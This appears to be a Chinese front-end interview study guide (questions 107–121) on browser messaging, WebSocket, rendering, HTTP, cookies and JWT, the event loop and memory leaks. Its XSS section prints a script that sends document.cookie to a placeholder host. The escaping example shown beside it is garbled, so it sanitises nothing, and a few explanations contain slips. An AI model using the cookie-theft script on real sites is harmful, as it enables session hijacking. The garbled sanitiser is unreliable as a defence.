- 通过
localStorage
同域通讯(推荐)同域
的A
和B
两个页面A
页面设置localStorage
B
页面可监听到localStorage
值的修改
- 通过
SharedWorker
通讯SharedWorker
是WebWorker
的一种WebWorker
可开启子进程执行JS
,但不能操作DOM
SharedWorker
可单独开启一个进程,用于同域页面通讯SharedWorker
兼容性不太好,调试不方便,IE11
不支持
localStorage通讯例子
<!-- 列表页 -->
<p>localStorage message - list page</p>
<script>
// 监听storage事件
window.addEventListener('storage', event => {
console.info('key', event.key)
console.info('value', event.newValue)
})
</script>
<!-- 详情页 -->
<p>localStorage message - detail page</p>
<button id="btn1">修改标题</button>
<script>
const btn1 = document.getElementById('btn1')
btn1.addEventListener('click', () => {
const newInfo = {
id: 100,
name: '标题' + Date.now()
}
localStorage.setItem('changeInfo', JSON.stringify(newInfo))
})
// localStorage 跨域不共享
</script>
SharedWorker通讯例子
本地调试的时候打开chrome隐私模式验证,如果没有收到消息,打开chrome://inspect/#workers
=> sharedWorkers
=> 点击inspect
<p>SharedWorker message - list page</p>
<script>
const worker = new SharedWorker('./worker.js')
worker.port.onmessage = e => console.info('list', e.data)
</script>
<p>SharedWorker message - detail page</p>
<button id="btn1">修改标题</button>
<script>
const worker = new SharedWorker('./worker.js')
const btn1 = document.getElementById('btn1')
btn1.addEventListener('click', () => {
console.log('clicked')
worker.port.postMessage('detail go...')
})
</script>
// worker.js
/**
* @description for SharedWorker
*/
const set = new Set()
onconnect = event => {
const port = event.ports[0]
set.add(port)
// 接收信息
port.onmessage = e => {
// 广播消息
set.forEach(p => {
if (p === port) return // 不给自己广播
p.postMessage(e.data)
})
}
// 发送信息
port.postMessage('worker.js done')
}
连环问:如何实现网页和iframe之间的通讯
- 使用
postMessage
通信 - 注意跨域的限制和判断,判断域名的合法性
演示
<!-- 首页 -->
<p>
index page
<button id="btn1">发送消息</button>
</p>
<iframe id="iframe1" src="./child.html"></iframe>
<script>
document.getElementById('btn1').addEventListener('click', () => {
console.info('index clicked')
window.iframe1.contentWindow.postMessage('hello', '*') // * 没有域名限制
})
// 接收child的消息
window.addEventListener('message', event => {
console.info('origin', event.origin) // 来源的域名
console.info('index received', event.data)
})
</script>
<!-- 子页面 -->
<p>
child page
<button id="btn1">发送消息</button>
</p>
<script>
document.getElementById('btn1').addEventListener('click', () => {
console.info('child clicked')
// child被嵌入到index页面,获取child的父页面
window.parent.postMessage('world', '*') // * 没有域名限制
})
// 接收parent的消息
window.addEventListener('message', event => {
console.info('origin', event.origin) // 判断 origin 的合法性
console.info('child received', event.data)
})
</script>
效果
# 第121题 从输入URL 到网页显示的完整过程
- 网络请求
DNS
查询(得到IP
),建立TCP
连接(三次握手)- 浏览器发送
HTTP
请求 - 收到请求响应,得到
HTML
源码。继续请求静态资源- 在解析
HTML
过程中,遇到静态资源(JS
、CSS
、图片等)还会继续发起网络请求 - 静态资源可能有缓存
- 在解析
- 解析:字符串=>结构化数据
HTML
构建DOM
树CSS
构建CSSOM
树(style tree
)- 两者结合,形成
render tree
- 优化解析
CSS
放在<head/>
中,不要异步加载CSS
JS
放到<body/>
下面,不阻塞HTML
解析(或结合defer
、async
)<img />
提前定义width
、height
,避免页面重新渲染
- 渲染:Render Tree绘制到页面
- 计算
DOM
的尺寸、定位,最后绘制到页面 - 遇到
JS
会执行,阻塞HTML
解析。如果设置了defer
,则并行下载JS
,等待HTML
解析完,在执行JS
;如果设置了async
,则并行下载JS
,下载完立即执行,在继续解析HTML
(JS
是单线程的,JS
执行和DOM
渲染互斥,等JS
执行完,在解析渲染DOM
) - 异步
CSS
、异步图片,可能会触发重新渲染
- 计算
连环问:网页重绘repaint和重排reflow有什么区别
- 重绘
- 元素外观改变:如颜色、背景色
- 但元素的尺寸、定位不变,不会影响其他元素的位置
- 重排
- 重新计算尺寸和布局,可能会影响其他元素的位置
- 如元素高度的增加,可能会使相邻的元素位置改变
- 重排必定触发重绘,重绘不一定触发重排。重绘的开销较小,重排的代价较高。
- 减少重排的方法
- 使用
BFC
特性,不影响其他元素位置 - 频繁触发(
resize
、scroll
)使用节流和防抖 - 使用
createDocumentFragment
批量操作DOM
- 编码上,避免连续多次修改,可通过合并修改,一次触发
- 对于大量不同的
dom
修改,可以先将其脱离文档流,比如使用绝对定位,或者display:none
,在文档流外修改完成后再放回文档里中 - 动画实现的速度的选择,动画速度越快,回流次数越多,也可以选择使用
requestAnimationFrame
css3
硬件加速,transform
、opacity
、filters
,开启后,会新建渲染层
- 使用
# 第120题 WebSocket和HTTP协议有什么区别
- 支持端对端通信
- 可由
client
发起,也可由sever
发起 - 用于消息通知、直播间讨论区、聊天室、协同编辑
WebSocket连接过程
- 先发起一个
HTTP
请求 - 成功之后在升级到
WebSocket
协议,再通讯
WebSocket和HTTP区别
WebSocket
协议名是ws://
,可双端发起请求(双端都可以send
、onmessage
)WebSocket
没有跨域限制- 通过
send
和onmessage
通讯(HTTP
通过req
、res
)
WebSocket和HTTP长轮询的区别
长轮询:一般是由客户端向服务端发出一个设置较长网络超时时间的
HTTP
请求,并在Http
连接超时前,不主动断开连接;待客户端超时或有数据返回后,再次建立一个同样的HTTP
请求,重复以上过程
HTTP
长轮询:客户端发起请求,服务端阻塞,不会立即返回HTTP
长轮询需要处理timeout
,即timeout
之后重新发起请求
WebSocket
:客户端可发起请求,服务端也可发起请求
ws可升级为wss(像https)
import {createServer} from 'https'
import {readFileSync} from 'fs'
import {WebSocketServer} from 'ws'
const server = createServer({
cert: readFileSync('/path/to/cert.pem'),
key: readFileSync('/path/to/key.pem'),
})
const wss = new WebSocketServer({ server })
实际项目中推荐使用socket.io API更简洁
io.on('connection',sockert=>{
// 发送信息
socket.emit('request', /**/)
// 广播事件到客户端
io.emit('broadcast', /**/)
// 监听事件
socket.on('reply', ()=>{/**/})
})
WebSocket基本使用例子
// server.js
const { WebSocketServer } = require('ws') // npm i ws
const wsServer = new WebSocketServer({ port: 3000 })
wsServer.on('connection', ws => {
console.info('connected')
ws.on('message', msg => {
console.info('收到了信息', msg.toString())
// 服务端向客户端发送信息
setTimeout(() => {
ws.send('服务端已经收到了信息: ' + msg.toString())
}, 2000)
})
})
<!-- websocket main page -->
<button id="btn-send">发送消息</button>
<script>
const ws = new WebSocket('ws://127.0.0.1:3000')
ws.onopen = () => {
console.info('opened')
ws.send('client opened')
}
ws.onmessage = event => {
console.info('收到了信息', event.data)
}
document.getElementById('btn-send').addEventListener('click', () => {
console.info('clicked')
ws.send('当前时间' + Date.now())
})
</script>
创建简易聊天室
// server.js
const { WebSocketServer } = require('ws') // npm i ws
const wsServer = new WebSocketServer({ port: 3000 })
const list = new Set()
wsServer.on('connection', curWs => {
console.info('connected')
// 这里,不能一直被 add 。实际使用中,这里应该有一些清理缓存的机制,长期用不到的 ws 要被 delete
list.add(curWs)
curWs.on('message', msg => {
console.info('received message', msg.toString())
// 传递给其他客户端
list.forEach(ws => {
if (ws === curWs) return
ws.send(msg.toString())
})
})
})
client1
<!-- client 1-->
<p>websocket page 1</p>
<button id="btn-send">发送消息</button>
<script>
const ws = new WebSocket('ws://127.0.0.1:3000')
ws.onopen = () => {
console.info('opened')
ws.send('client1 opened')
}
ws.onmessage = event => {
console.info('client1 received', event.data)
}
document.getElementById('btn-send').addEventListener('click', () => {
console.info('clicked')
ws.send('client1 time is ' + Date.now())
})
</script>
client2
<!-- client 2-->
<p>websocket page 2</p>
<button id="btn-send">发送消息</button>
<script>
const ws = new WebSocket('ws://127.0.0.1:3000')
ws.onopen = () => {
console.info('opened')
ws.send('client2 opened')
}
ws.onmessage = event => {
console.info('client2 received', event.data)
}
document.getElementById('btn-send').addEventListener('click', () => {
console.info('clicked')
ws.send('client2 time is ' + Date.now())
})
</script>
# 第119题 前端攻击手段有哪些,该如何预防
XSS
Cross Site Script
跨站脚本攻击- 手段:黑客将JS代码插入到网页内容中,渲染时执行
JS
代码 - 预防:特殊字符串替换(前端或后端)
// 用户提交
const str = `
<p>123123</p>
<script>
var img = document.createElement('image')
// 把cookie传递到黑客网站 img可以跨域
img.src = 'https://xxx.com/api/xxx?cookie=' + document.cookie
</script>
`
const newStr = str.replaceAll('<', '<').replaceAll('>', '>')
// 替换字符,无法在页面中渲染
// <script>
// var img = document.createElement('image')
// img.src = 'https://xxx.com/api/xxx?cookie=' + document.cookie
// </script>
CSRF
Cross Site Request Forgery
跨站请求伪造- 手段:黑盒诱导用户去访问另一个网站的接口,伪造请求
- 预防:严格的跨域限制 + 验证码机制
- 判断
referer
- 为
cookie
设置sameSite
属性,禁止第三方网页跨域的请求能携带上cookie
token
- 关键接口使用短信验证码
- 判断
注意:偷取
cookie
是XSS
做的事,CSRF
的作用是借用cookie
,并不能获取cookie
CSRF攻击攻击原理及过程如下:
- 用户登录了
A
网站,有了cookie
- 黑盒诱导用户到
B
网站,并发起A
网站的请求 A
网站的API
发现有cookie
,会在请求中携带A
网站的cookie
,认为是用户自己操作的
点击劫持
- 手段:诱导界面上设置透明的
iframe
,诱导用户点击 - 预防:让
iframe
不能跨域加载
DDOS
Distribute denial-of-service
分布式拒绝服务- 手段:分布式的大规模的流量访问,使服务器瘫痪
- 预防:软件层不好做,需硬件预防(如阿里云的
WAF
购买高防)
SQL注入
- 手段:黑客提交内容时,写入
sql
语句,破坏数据库 - 预防:处理内容的输入,替换特殊字符
# 第118题 script标签的defer和async有什么区别
script
:HTML
暂停解析,下载JS
,执行JS
,在继续解析HTML
。defer
:HTML
继续解析,并行下载JS
,HTML
解析完在执行JS
(不用把script
放到body
后面,我们在head
中<script defer>
让js
脚本并行加载会好点)async
:HTML
继续解析,并行下载JS
,执行JS
(加载完毕后立即执行
),在继续解析HTML
- 加载完毕后立即执行,这导致
async
属性下的脚本是乱序的,对于script
有先后依赖关系的情况,并不适用
- 加载完毕后立即执行,这导致
注意:
JS
是单线程的,JS
解析线程和DOM
解析线程共用同一个线程,JS执行和HTML解析是互斥的
,加载资源可以并行
蓝色线代表网络读取,红色线代表执行时间,这俩都是针对脚本的;绿色线代表
HTML
解析
连环问:prefetch和dns-prefetch分别是什么
preload和prefetch
preload
资源在当前页面使用,会优先加载prefetch
资源在未来页面使用,空闲时加载
<head>
<!-- 当前页面使用 -->
<link rel="preload" href="style.css" as="style" />
<link rel="preload" href="main.js" as="script" />
<!-- 未来页面使用 提前加载 比如新闻详情页 -->
<link rel="prefetch" href="other.js" as="script" />
<!-- 当前页面 引用css -->
<link rel="stylesheet" href="style.css" />
</head>
<body>
<!-- 当前页面 引用js -->
<script src="main.js" defer></script>
</body>
dns-preftch和preconnect
dns-pretch
DNS
预查询preconnect
DNS
预连接
通过预查询和预连接减少
DNS
解析时间
<head>
<!-- 针对未来页面提前解析:提高打开速度 -->
<link rel="dns-pretch" href="https://font.static.com" />
<link rel="preconnect" href="https://font.static.com" crossorigin />
</head>
# 第117题 什么是HTTPS中间人攻击,如何预防(HTTPS加密过程、原理)
HTTPS加密传输
HTTP
是明文传输HTTPS
加密传输HTTP + TLS/SSL
TLS 中的加密
- 对称加密 两边拥有相同的秘钥,两边都知道如何将密文加密解密。
- 非对称加密 有公钥私钥之分,公钥所有人都可以知道,可以将数据用公钥加密,但是将数据解密必须使用私钥解密,私钥只有分发公钥的一方才知道
对称密钥加密和非对称密钥加密它们有什么区别
- 对称密钥加密是最简单的一种加密方式,它的加解密用的都是相同的密钥,这样带来的好处就是加解密效率很快,但是并不安全,如果有人拿到了这把密钥那谁都可以进行解密了。
- 而非对称密钥会有两把密钥,一把是私钥,只有自己才有;一把是公钥,可以发布给任何人。并且加密的内容只有相匹配的密钥才能解。这样带来的一个好处就是能保证传输的内容是安全的,因为例如如果是公钥加密的数据,就算是第三方截取了这个数据但是没有对应的私钥也破解不了。不过它也有缺点,一是公钥因为是公开的,谁都可以过去,如果内容是通过私钥加密的话,那拥有对应公钥的黑客就可以用这个公钥来进行解密得到里面的信息;二来公钥里并没有包含服务器的信息,也就是并不能确保服务器身份的合法性;并且非对称加密的时候要消耗一定的时间,减低了数据的传输效率。
HTTPS加密的过程
- 客户端请求
www.baidu.com
- 服务端存储着公钥和私钥
- 服务器把
CA
数字证书(包含公钥)响应式给客户端 - 客户端解析证书拿到公钥,并生成随机码
KEY
(加密的key
没有任何意义,如ABC
只有服务端的私钥才能解密出来,黑客劫持了KEY
也是没用的) - 客户端把解密后的
KEY
传递给服务端,作为接下来对称加密的密钥 - 服务端拿私钥解密随机码
KEY
,使用随机码KEY
对传输数据进行对称加密 - 把对称加密后的内容传输给客户端,客户端使用之前生成的随机码
KEY
进行解密数据
介绍下https中间人攻击的过程
这个问题也可以问成为什么需要CA认证机构颁发证书?
我们假设如果不存在认证机构,则人人都可以制造证书,这就带来了"中间人攻击"问题。
中间人攻击的过程如下
- 客户端请求被劫持,将所有的请求发送到中间人的服务器
- 中间人服务器返回自己的证书
- 客户端创建随机数,使用中间人证书中的公钥进行加密发送给中间人服务器,中间人使用私钥对随机数解密并构造对称加密,对之后传输的内容进行加密传输
- 中间人通过客户端的随机数对客户端的数据进行解密
- 中间人与服务端建立合法的https连接(https握手过程),与服务端之间使用对称加密进行数据传输,拿到服务端的响应数据,并通过与服务端建立的对称加密的秘钥进行解密
- 中间人再通过与客户端建立的对称加密对响应数据进行加密后传输给客户端
- 客户端通过与中间人建立的对称加密的秘钥对数据进行解密
简单来说,中间人攻击中,中间人首先伪装成服务端和客户端通信,然后又伪装成客户端和服务端进行通信(如图)。 整个过程中,由于缺少了证书的验证过程,虽然使用了
https
,但是传输的数据已经被监听,客户端却无法得知
预防中间人攻击
使用正规厂商的证书,慎用免费的
# 第116题 HTTP协议1.0和1.1和2.0有什么区别
- HTTP1.0
- 最基础的
HTTP
协议 - 支持基本的
GET
、POST
方法
- 最基础的
- HTTP1.1
- 缓存策略
cache-control
E-tag
- 支持长链接
Connection:keep-alive
一次TCP
连接多次请求 - 断点续传,状态码
206
- 支持新的方法
PUT DELETE
等,可用于Restful API
写法
- 缓存策略
- HTTP2.0
- 可压缩
header
,减少体积 - 多路复用,一次
TCP
连接中可以多个HTTP
并行请求 - 服务端推送(实际中使用
websocket
)
- 可压缩
连环问:HTTP协议和UDP协议有什么区别
HTTP
是应用层,TCP
、UDP
是传输层TCP
有连接(三次握手),有断开(四次挥手),传输稳定UDP
无连接,无断开不稳定传输,但效率高。如视频会议、语音通话
# 第115题 HTTP请求中token、cookie、session有什么区别
cookie
HTTP
无状态的,每次请求都要携带cookie
,以帮助识别身份- 服务端也可以向客户端
set-cookie
,cookie
大小4kb
- 默认有跨域限制:不可跨域共享,不可跨域传递
cookie
(可通过设置withCredential
跨域传递cookie
)
cookie本地存储
HTML5
之前cookie
常被用于本地存储HTML5
之后推荐使用localStorage
和sessionStorage
现代浏览器开始禁止第三方cookie
- 和跨域限制不同,这里是:禁止网页引入第三方js设置
cookie
- 打击第三方广告设置
cookie
- 可以通过属性设置
SameSite:Strict/Lax/None
cookie和session
cookie
用于登录验证,存储用户表示(userId
)session
在服务端,存储用户详细信息,和cookie
信息一一对应cookie+session
是常见的登录验证解决方案
// 登录:用户名 密码
// 服务端set-cookie: userId=x1 把用户id传给浏览器存储在cookie中
// 下次请求直接带上cookie:userId=x1 服务端根据userId找到哪个用户的信息
// 服务端session集中存储所有的用户信息在缓存中
const session = {
x1: {
username:'xx1',
email:'xx1'
},
x2: { // 当下次来了一个用户x2也记录x2的登录信息,同时x1也不会丢失
username:'xx2',
email:'xx2'
},
}
token和cookie
cookie
是HTTP
规范(每次请求都会携带),而token
是自定义传递cookie
会默认被浏览器存储,而token
需自己存储token
默认没有跨域限制
JWT(json web token)
- 前端发起登录,后端验证成功后,返回一个加密的
token
- 前端自行存储这个
token
(其他包含了用户信息,加密的) - 以后访问服务端接口,都携带着这个
token
,作为用户信息
session和jwt哪个更好?
- session的优点
- 用户信息存储在服务端,可快速封禁某个用户
- 占用服务端内存,成本高
- 多进程多服务器时不好同步,需要使用
redis
缓存 - 默认有跨域限制
- JWT的优点
- 不占用服务端内存,
token
存储在客户端浏览器 - 多进程、多服务器不受影响
- 没有跨域限制
- 用户信息存储在客户端,无法快速封禁某用户(可以在服务端建立黑名单,也需要成本)
- 万一服务端密钥被泄露,则用户信息全部丢失
token
体积一般比cookie
大,会增加请求的数据量
- 不占用服务端内存,
- 如严格管理用户信息(保密、快速封禁)推荐使用
session
- 没有特殊要求,推荐使用
JWT
如何实现SSO(Single Sign On)单点登录
单点登录的
本质就是在多个应用系统中共享登录状态
,如果用户的登录状态是记录在Session
中的,要实现共享登录状态,就要先共享Session
所以实现单点登录的关键在于,如何让
Session ID
(或Token
)在多个域中共享主域名相同,基于cookie实现单点登录
cookie
默认不可跨域共享,但有些情况下可设置跨域共享- 主域名相同,如
www.baidu.com
、image.baidu.com
- 设置
cookie domain
为主域baidu.com
,即可共享cookie
- 主域名不同,则
cookie
无法共享。可使用sso
技术方案来做
主域名不同,基于SSO技术方案实现
- 系统
A
、B
、SSO
域名都是独立的 - 用户访问系统
A
,系统A
重定向到SSO
登录(登录页面在SSO
)输入用户名密码提交到SSO
,验证用户名密码,将登录状态写入SSO
的session
,同时将token
作为参数返回给客户端 - 客户端携带
token
去访问系统A
,系统A
携带token
去SSO
验证,SSO
验证通过返回用户信息给系统A
- 用户访问
B
系统,B
系统没有登录,重定向到SSO
获取token
(由于SSO
已经登录了,不需要重新登录认证,之前在A
系统登录过),拿着token
去B
系统,B
系统拿着token
去SSO
里面换取用户信息 - 整个所有用户的登录、用户信息的保存、用户的
token
验证,全部都在SSO
第三方独立的服务中处理
- 系统
# 第114题 移动端H5点击有300ms延迟,该如何解决
解决方案
- 禁用缩放,设置
meta
标签user-scalable=no
- 现在浏览器方案
meta
中设置content="width=device-width"
fastclick.js
初期解决方案 fastClick
// 使用
window.addEventListener('load',()=>{
FastClick.attach(document.body)
},false)
fastClick原理
- 监听
touchend
事件(touchstart
touchend
会先于click
触发) - 使用自定义
DOM
事件模拟一个click
事件 - 把默认的
click
事件(300ms
之后触发)禁止掉
触摸事件的响应顺序
ontouchstart
ontouchmove
ontouchend
onclick
现代浏览器的改进
meta
中设置content="width=device-width"
就不会有300ms
的点击延迟了。浏览器认为你要在移动端做响应式布局,所以就禁止掉了
<head>
<meta name="viewport" content="width=device-width,initial-scale=1.0" />
</head>
# 第113题 requestIdleCallback和requestAnimationFrame有什么区别
由react fiber
引起的关注
- 组件树转为链表,可分段渲染
- 渲染时可以暂停,去执行其他高优先级任务,空闲时在继续渲染(
JS
是单线程的,JS
执行的时候没法去DOM
渲染) - 如何判断空闲?
requestIdleCallback
区别
requestAnimationFrame
每次渲染完在执行,高优先级requestIdleCallback
空闲时才执行,低优先级- 都是宏任务,要等待DOM渲染完后在执行
<p>requestAnimationFrame</p>
<button id="btn1">change</button>
<div id="box"></div>
<script>
const box = document.getElementById('box')
document.getElementById('btn1').addEventListener('click', () => {
let curWidth = 100
const maxWidth = 400
function addWidth() {
curWidth = curWidth + 3
box.style.width = `${curWidth}px`
if (curWidth < maxWidth) {
window.requestAnimationFrame(addWidth) // 时间不用自己控制
}
}
addWidth()
})
</script>
window.onload = () => {
console.info('start')
setTimeout(() => {
console.info('timeout')
})
// 空闲时间才执行
window.requestIdleCallback(() => {
console.info('requestIdleCallback')
})
window.requestAnimationFrame(() => {
console.info('requestAnimationFrame')
})
console.info('end')
}
// start
// end
// timeout
// requestAnimationFrame
// requestIdleCallback
# 第112题 请描述js-bridge的实现原理
什么是JS Bridge
JS
无法直接调用native API
- 需要通过一些特定的格式来调用
- 这些格式就统称
js-bridge
,例如微信JSSKD
JS Bridge的常见实现方式
- 注册全局
API
URL Scheme
(推荐)
<!-- <iframe id="iframe1"></iframe> -->
<script>
// const version = window.getVersion() // 异步
// const iframe1 = document.getElementById('iframe1')
// iframe1.onload = () => {
// const content = iframe1.contentWindow.document.body.innerHTML
// console.info('content', content)
// }
// iframe1.src = 'my-app-name://api/getVersion' // app识别协议my-app-name://,在app内处理返回给webview,而不是直接发送网络请求
// URL scheme
// 使用iframe 封装 JS-bridge
const sdk = {
invoke(url, data = {}, onSuccess, onError) {
const iframe = document.createElement('iframe')
iframe.style.visibility = 'hidden' // 隐藏iframe
document.body.appendChild(iframe)
iframe.onload = () => {
const content = iframe1.contentWindow.document.body.innerHTML
onSuccess(JSON.parse(content))
iframe.remove()
}
iframe.onerror = () => {
onError()
iframe.remove()
}
iframe.src = `my-app-name://${url}?data=${JSON.stringify(data)}`
},
fn1(data, onSuccess, onError) {
this.invoke('api/fn1', data, onSuccess, onError)
},
fn2(data, onSuccess, onError) {
this.invoke('api/fn2', data, onSuccess, onError)
},
fn3(data, onSuccess, onError) {
this.invoke('api/fn3', data, onSuccess, onError)
},
}
</script>
# 第111题 nodejs如何开启多进程,进程如何通讯
进程process和线程thread的区别
- 进程,
OS
进行资源分配和调度的最小单位,有独立的内存空间 - 线程,
OS
进程运算调度的最小单位,共享进程内存空间 - JS是单线程的,但可以开启多进程执行,如
WebWorker
为何需要多进程
- 多核CPU,更适合处理多进程
- 内存较大,多个进程才能更好利用(单进程有内存上限)
- 总之,压榨机器资源,更快、更节省
如何开启多进程
- 开启子进程
child_process.fork
和cluster.fork
child_process.fork
用于单个计算量较大的计算cluster
用于开启多个进程,多个服务
- 使用
send
和on
传递消息
使用child_process.fork方式
const http = require('http')
const fork = require('child_process').fork
const server = http.createServer((req, res) => {
if (req.url === '/get-sum') {
console.info('主进程 id', process.pid)
// 开启子进程 计算结果返回
const computeProcess = fork('./compute.js')
computeProcess.send('开始计算') // 发送消息给子进程开始计算,在子进程中接收消息调用计算逻辑,计算完成后发送消息给主进程
computeProcess.on('message', data => {
console.info('主进程接收到的信息:', data)
res.end('sum is ' + data)
})
computeProcess.on('close', () => {
console.info('子进程因报错而退出')
computeProcess.kill() // 关闭子进程
res.end('error')
})
}
})
server.listen(3000, () => {
console.info('localhost: 3000')
})
// compute.js
/**
* @description 子进程,计算
*/
function getSum() {
let sum = 0
for (let i = 0; i < 10000; i++) {
sum += i
}
return sum
}
process.on('message', data => {
console.log('子进程 id', process.pid)
console.log('子进程接收到的信息: ', data)
const sum = getSum()
// 发送消息给主进程
process.send(sum)
})
使用cluster方式
const http = require('http')
const cpuCoreLength = require('os').cpus().length
const cluster = require('cluster')
// 主进程
if (cluster.isMaster) {
for (let i = 0; i < cpuCoreLength; i++) {
cluster.fork() // 根据核数 开启子进程
}
cluster.on('exit', worker => {
console.log('子进程退出')
cluster.fork() // 进程守护
})
} else {
// 多个子进程会共享一个 TCP 连接,提供一份网络服务
const server = http.createServer((req, res) => {
res.writeHead(200)
res.end('done')
})
server.listen(3000)
}
// 工作中 使用PM2开启进程守护更方便
# 第110题 遍历一个数组用for和forEach哪个更快
for
更快forEach
每次都要创建一个函数来调用,而for
不会创建函数- 函数需要额外的作用域会有额外的开销
- 越“低级”的代码,性能往往越好
const arr = []
for (let i = 0; i < 100 * 10000; i++) {
arr.push(i)
}
const length = arr.length
console.time('for')
let n1 = 0
for (let i = 0; i < length; i++) {
n1++
}
console.timeEnd('for') // 3.7ms
console.time('forEach')
let n2 = 0
arr.forEach(() => n2++)
console.timeEnd('forEach') // 15.1ms
# 第109题 虚拟DOM(vdom)真的很快吗
virutal DOM
,虚拟DOM
- 用JS对象模拟
DOM
节点数据 vdom
并不快,JS
直接操作DOM
才是最快的- 以
vue
为例,data
变化 =>vnode diff
=> 更新DOM
肯定是比不过直接操作DOM
节点快的
- 以
- 但是"数据驱动视图"要有合适的技术方案,不能全部
DOM
重建 dom
就是目前最合适的技术方案(并不是因为它快,而是合适)- 在大型系统中,全部更新
DOM
的成本太高,使用vdom
把更新范围减少到最小
并不是所有的框架都在用
vdom
,svelte
就不用vdom
# 第108题 浏览器和nodejs事件循环(Event Loop)有什么区别
单线程和异步
- JS是单线程的,无论在浏览器还是在nodejs
- 浏览器中JS执行和DOM渲染共用一个线程,是互斥的
- 异步是单线程的解决方案
# 浏览器中的事件循环
异步里面分宏任务和微任务
- 宏任务:
setTimeout
,setInterval
,setImmediate
,I/O
,UI
渲染,网络请求 - 微任务:
Promise
,process.nextTick
,MutationObserver
、async/await
- 宏任务和微任务的区别:微任务的优先级高于宏任务,微任务会在当前宏任务执行完毕后立即执行,而宏任务会在下一个事件循环中执行
- 宏任务在
页面渲染之后
执行 - 微任务在
页面渲染之前
执行 - 也就是微任务在下一轮
DOM
渲染之前执行,宏任务在DOM
渲染之后执行
- 宏任务在
console.log('start')
setTimeout(() => {
console.log('timeout')
})
Promise.resolve().then(() => {
console.log('promise then')
})
console.log('end')
// 输出
// start
// end
// promise then
// timeout
// 分析
// 等同步代码执行完后,先从微任务队列中获取(微任务队列优先级高),队列先进先出
// 宏任务 MarcoTask 队列
// 如setTimeout 1000ms到1000ms后才会放到队列中
const MarcoTaskQueue = [
() => {
console.log('timeout')
},
fn // ajax回调放到宏任务队列中等待
]
ajax(url, fn) // ajax 宏任务 如执行需要300ms
// ********** 宏任务和微任务中间隔着 【DOM 渲染】 ****************
// 微任务 MicroTask 队列
const MicroTaskQueue = [
() => {
console.log('promise then')
}
]
// 等宏任务和微任务执行完后 Event Loop 继续监听(一旦有任务到了宏任务微任务队列就会立马拿过来执行)...
<p>Event Loop</p>
<script>
const p = document.createElement('p')
p.innerHTML = 'new paragraph'
document.body.appendChild(p)
const list = document.getElementsByTagName('p')
console.log('length----', list.length) // 2
console.log('start')
// 宏任务在页面渲染之后执行
setTimeout(() => {
const list = document.getElementsByTagName('p')
console.log('length on timeout----', list.length) // 2
alert('阻塞 timeout') // 阻塞JS执行和渲染
})
// 微任务在页面渲染之前执行
Promise.resolve().then(() => {
const list = document.getElementsByTagName('p')
console.log('length on promise.then----', list.length) // 2
alert('阻塞 promise') // 阻塞JS执行和渲染
})
console.log('end')
</script>
# nodejs中的事件循环
- nodejs也是单线程,也需要异步
- 异步任务也分为:宏任务 + 微任务
- 但是,它的宏任务和微任务分为不同的类型,有不同的优先级
- 和浏览器的主要区别就是
类型
和优先级
,理解了这里就理解了nodejs的事件循环
宏任务类型和优先级
类型分为6个,优先级从高到底执行
- Timer:
setTimeout
、setInterval
- I/O callbacks:处理网络、流、TCP的错误回调
- Idle,prepare:闲置状态(nodejs内部使用)
- Poll轮询:执行
poll
中的I/O
队列 - Check检查:存储
setImmediate
回调 - Close callbacks:关闭回调,如
socket.on('close')
注意:
process.nextTick
优先级最高,setTimeout
比setImmediate
优先级高
执行过程
- 执行同步代码
- 执行微任务(
process.nextTick
优先级最高) - 按顺序执行6个类型的宏任务(每个开始之前都执行当前的微任务)
总结
- 浏览器和nodejs的事件循环流程基本相同
- nodejs宏任务和微任务分类型,有优先级。浏览器里面的宏任务和微任务是没有类型和优先级的
- node17之后推荐使用
setImmediate
代替process.nextTick
(如果使用process.nextTick
执行复杂任务导致后面的卡顿就得不偿失了,尽量使用低优先级的api去执行异步)
console.info('start')
setImmediate(() => {
console.info('setImmediate')
})
setTimeout(() => {
console.info('timeout')
})
Promise.resolve().then(() => {
console.info('promise then')
})
process.nextTick(() => {
console.info('nextTick')
})
console.info('end')
// 输出
// start
// end
// nextTick
// promise then
// timeout
// setImmediate
# 第107题 JS内存泄露如何检测?场景有哪些?
内存泄漏:当一个对象不再被使用,但是由于某种原因,它的内存没有被释放,这就是内存泄漏。
# 垃圾回收机制
- 对于在JavaScript中的字符串,对象,数组是没有固定大小的,只有当对他们进行动态分配存储时,解释器就会分配内存来存储这些数据,当JavaScript的解释器消耗完系统中所有可用的内存时,就会造成系统崩溃。
- 内存泄漏,在某些情况下,不再使用到的变量所占用内存没有及时释放,导致程序运行中,内存越占越大,极端情况下可以导致系统崩溃,服务器宕机。
- JavaScript有自己的一套垃圾回收机制,JavaScript的解释器可以检测到什么时候程序不再使用这个对象了(数据),就会把它所占用的内存释放掉。
- 针对JavaScript的垃圾回收机制有以下两种方法(常用):标记清除(现代),引用计数(之前)
有两种垃圾回收策略:
- 标记清除:标记阶段即为所有活动对象做上标记,清除阶段则把没有标记(也就是非活动对象)销毁。
- 引用计数:它把对象是否不再需要简化定义为对象有没有其他对象引用到它。如果没有引用指向该对象(引用计数为
0
),对象将被垃圾回收机制回收
标记清除的缺点:
- 内存碎片化,空闲内存块是不连续的,容易出现很多空闲内存块,还可能会出现分配所需内存过大的对象时找不到合适的块。
- 分配速度慢,因为即便是使用
First-fit
策略,其操作仍是一个O(n)
的操作,最坏情况是每次都要遍历到最后,同时因为碎片化,大对象的分配效率会更慢。
解决以上的缺点可以使用 标记整理(Mark-Compact)算法 标记结束后,标记整理算法会将活着的对象(即不需要清理的对象)向内存的一端移动,最后清理掉边界的内存(如下图)
引用计数的缺点:
- 需要一个计数器,所占内存空间大,因为我们也不知道被引用数量的上限。
解决不了循环引用导致的无法回收问题
IE 6、7
,JS
对象和DOM
对象循环引用,清除不了,导致内存泄露
V8
的垃圾回收机制也是基于标记清除算法,不过对其做了一些优化。
- 针对新生区采用并行回收。
- 针对老生区采用增量标记与惰性回收
注意:
闭包不是内存泄露,闭包的数据是不可以被回收的
拓展:WeakMap、WeakMap的作用
- 作用是
防止内存泄露的
WeakMap
、WeakMap
的应用场景- 想临时记录数据或关系
- 在
vue3
中大量使用了WeakMap
WeakMap
的key
只能是对象,不能是基本类型
# 如何检测内存泄露
内存泄露模拟
<p>
memory change
<button id="btn1">start</button>
</p>
<script>
const arr = []
for (let i = 0; i < 10 * 10000; i++) {
arr.push(i)
}
function bind() {
// 模拟一个比较大的数据
const obj = {
str: JSON.stringify(arr) // 简单的拷贝
}
window.addEventListener('resize', () => {
console.log(obj)
})
}
let n = 0
function start() {
setTimeout(() => {
bind()
n++
// 执行 50 次
if (n < 50) {
start()
} else {
alert('done')
}
}, 200)
}
document.getElementById('btn1').addEventListener('click', () => {
start()
})
</script>
